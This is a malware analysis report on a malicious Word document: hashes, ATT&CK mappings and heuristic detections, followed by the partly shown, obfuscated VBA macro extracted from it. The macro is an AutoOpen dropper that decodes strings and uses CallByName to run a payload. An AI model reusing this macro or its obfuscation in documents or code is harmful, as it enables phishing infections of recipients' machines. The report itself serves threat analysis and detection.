Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f48d98f721bea905…

MALICIOUS

Office (OLE)

65.5 KB Created: 2018-03-23 17:13:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: b79a275e34016ba1a7b37d582f2e03f3 SHA-1: fb2b624a1ffa70dfeaa4bd8915ce4f6f32e75b44 SHA-256: f48d98f721bea905ccfd5a093e4c3788ebd97078a52f5e855632adda019dd4e5
282 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is a malicious Office document containing VBA macros, specifically an AutOOpen macro, which is a common technique for initial execution. The document body presents a lure to enable macros, indicating a phishing attempt. The VBA code is obfuscated but the presence of CreateObject and CallByName suggests it's designed to download and execute a second-stage payload.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6482791-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6482791-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.adobe.com/ In document text (OLE body)
    • http://www.adobe.comIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6543 bytes
SHA-256: 99d0f6f4d044d5c8c0ecaae58075f84dd575ef085578240ebf9854ca62a8466c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutOOpen()
basicbasic
myxmonkt = 147 * 71
myxmonkt = 24
myxmonkt = 91 + 103 + myxmonk
End Sub


Attribute VB_Name = "avonafof"
Function shen_deriul()
shen_deriul = "Qwou/ha[E/uoRkighajEs/l"
End Function

Function kingcast()
kingcast = nssgandalf.zephyr234
End Function

Function mimedile()
mimedile = momhouse
End Function

Function momhouse()
momhouse = brucejapan(dicorssk.chotcamp)
End Function

Function brucejapan(joelmonica)
keaphia1 = ""
myxmonkt = 147 * 71
myxmonkt = 24
myxmonkt = 91 + 103 + myxmonk
jal99213 = Len(joelmonica)
For aipassword = 1 To jal99213
myxmonkt = 147 * 71
myxmonkt = 24
myxmonkt = 91 + 103 + myxmonk
keaphia1 = keaphia1 + bigmannite(Baniatbo(joelmonica, aipassword), 4)
Next aipassword
myxmonkt = 147 * 71
myxmonkt = 24
myxmonkt = 91 + 103 + myxmonk
brucejapan = keaphia1
End Function

Function bigmannite(hokpozpa As String, assolivia As Integer) As String
Dim gooswads As Integer
gooswads = 0
myxmonkt = 147 * 71
myxmonkt = 24
myxmonkt = 91 + 103 + myxmonk
For george3721 = 1 To 90
If (Baniatbo(IIKSVALDIMERTS, george3721) = hokpozpa) Then
   gooswads = george3721
   myxmonkt = 147 * 71
myxmonkt = 24
myxmonkt = 91 + 103 + myxmonk
    Exit For
End If
Next george3721
myxmonkt = 147 * 71
myxmonkt = 24
myxmonkt = 91 + 103 + myxmonk
gooswads = IIf(gooswads - assolivia <= 0, 90 + gooswads - assolivia, gooswads - assolivia)
bigmannite = Baniatbo(IIKSVALDIMERTS, gooswads)
End Function

Function dephyflo()
dephyflo = "]/oui.g/nEmaE]jRkighajEs/l"
End Function

Sub basicbasic()
Randomize
myxmonkt = 147 * 71
myxmonkt = 24
myxmonkt = 91 + 103 + myxmonk
nssgandalf.avenimkehc = "gnathpel"
End Sub


Attribute VB_Name = "cruisecgi"
Function bkrjibkrj(slickcas, triciafool)
myxmonkt = 147 * 71
myxmonkt = 24
myxmonkt = 91 + 103 + myxmonk
bkrjibkrj = brucejapan(dicorssk.AYAKSVEHCA) + triciafool + brucejapan(dicorssk.kashcyth) + _
triciafool + brucejapan(dicorssk.spadespade) + slickcas + _
brucejapan(dicorssk.nei56789 + shen_deriul + dicorssk.newsjoseph) + slickcas + brucejapan(dicorssk.nei56789)
End Function

Function ayaksvolahcoK()
ayaksvolahcoK = dicorssk.ememafis
End Function

Function kudelixe()
kudelixe = groovyandy.JULY1415
End Function

Function olivealpha(February1460, shelbynat)
olivealpha = pastobic(Int((February1460 * Rnd()) + shelbynat))
End Function

Function pastobic(cosmnite)
myxmonkt = 147 * 71
myxmonkt = 24
myxmonkt = 91 + 103 + myxmonk
pastobic = CInt(cosmnite)
End Function

Function stiffana(vozermeT)
myxmonkt = 147 * 71
myxmonkt = 24
myxmonkt = 91 + 103 + myxmonk
stiffana = brucejapan(dephyflo + dicorssk.loodingkni) + vozermeT + _
brucejapan(dicorssk.caremenw) + vozermeT + brucejapan(nssgandalf.pedkolst)
End Function

Sub swainhel(arielnite)
nv = "Run"
nv0 = 0
nv1 = True
CallByName arielnite, nv, VbMethod, groovyandy.sassyjesus, nv0, nv1
End Sub

Function ungrease(eniska135710)
inaysilivuhC = olivealpha(9, 4) - 1
myxmonkt = 147 * 71
myxmonkt = 24
myxmonkt = 91 + 103 + myxmonk
tazman1588 = olivealpha(53, 1)
jokereddie = Baniatbo(kingcast, tazman1588)
For pitlibge = 2 To inaysilivuhC
myxmonkt = 147 * 71
myxmonkt = 24
myxmonkt = 91 + 103 + myxmonk
tazman1588 = olivealpha(27, 1)
jokereddie = jokereddie + Baniatbo(eniska135710, tazman1588)
Next pitlibge
myxmonkt = 147 * 71
myxmonkt = 24
myxmonkt = 91 + 103 + myxmonk
tazman1588 = olivealpha(37, 1)
ungrease = mani_armani(jokereddie, tazman1588)
End Function

Function mani_armani(bootie44, samdirect)
mani_armani = bootie44 + Baniatbo(serpromp, samdirect)
End Function

Function Baniatbo(AVOKTREVS, AVOKSRUT)
Baniatbo = Mid(AVOKTREVS, AVOKSRUT, 1)
End Function

Function IIKSVALDIMERTS()
IIKSVALDIMERTS = nssgandalf.oknerotkiV
End Func
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.